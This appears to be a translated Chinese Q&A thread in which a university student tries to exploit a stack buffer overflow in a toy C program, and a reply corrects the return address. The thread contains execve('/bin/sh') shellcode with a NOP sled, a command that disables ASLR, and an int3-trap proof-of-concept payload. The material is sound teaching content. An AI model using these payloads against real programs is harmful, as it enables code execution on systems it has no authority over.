我正在尝试对使用缓冲区并打印它的简单C程序进行缓冲区溢出攻击。我已经尝试了很多组合,但是最后,当我尝试执行Shellcode时,总会遇到Segmentation Fault。
我主要遵循本教程:
How to exploit a buffer overflow vulnerability - Practical
不同之处在于,我尝试在m64中也编译程序,因为当我在m32中进行编译时,我的内存地址都不同,我试图解释我的步骤,但是如果不清楚,则可以观看视频因为我遵循了相同的步骤。
我用来尝试攻击的代码是
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buf[256];
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
我以这种方式编译代码:
gcc -o example -fno-stack-protector -m64 -z execstack example.c
我也尝试过使用m32进行编译,但是正如我之前说过的,但是用gdb分解主程序后的结果与本教程完全不同,另一方面,当我使用m64进行编译时,它们非常相似,因此更容易理解。
编译并打开gdb之后,我反汇编程序的主体,然后寻找strcpy调用。我在strcpy调用之后选择了一个地址,然后在该地址中创建了一个断点。
此后我运行python代码
run $(python -c "print('A'*256)")
然后我运行此命令后检查程序的内容,该命令显示256 As。我用命令检查]
x/200xb $esp
我现在可以看到内存中我的“ AAA ..”序列开始的确切地址,我将其写在纸上,然后再次运行我的python代码,以了解它在Segmentation Fault状态下将使用哪个值。
一旦找到Seg Fault条件,我只需运行此:
run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xcf\xff\xff')")
其中:
在这一点上,当我运行命令时,应该执行shellcode,但是不会发生,它总是显示Segmentation Fault。
当然我也使用命令禁用了aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
很抱歉,如果我对自己的解释感到困惑,我尝试了所有不同的可能性,但我始终没有得到正确的结果。 (当然会更改一些标志,m64,m32,并使用最后一个命令的值进行一些播放)。
谢谢您,我真的很希望您能为我提供帮助,因为我需要为大学分配这个问题解决
我认为您的错误是在寄信人地址:
run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xfc\xff\xbf')")
代替0xffffcf94
(在m32上,使用0xbffffc94
。
我也尝试过自己开发POC,这里是:
run $(python -c 'print "\x90"*255 + "\xcc" + "aaaabbbbcccc" + "\x68\xfb\xff\xbf"')
其中\x90 * 255
是255 nop
条指令,以确保我们将落在陷阱\xcc
上。 aaaabbbbcccc
是我用来到达eip的一些垃圾,0xbffffb68
是堆栈的返回地址。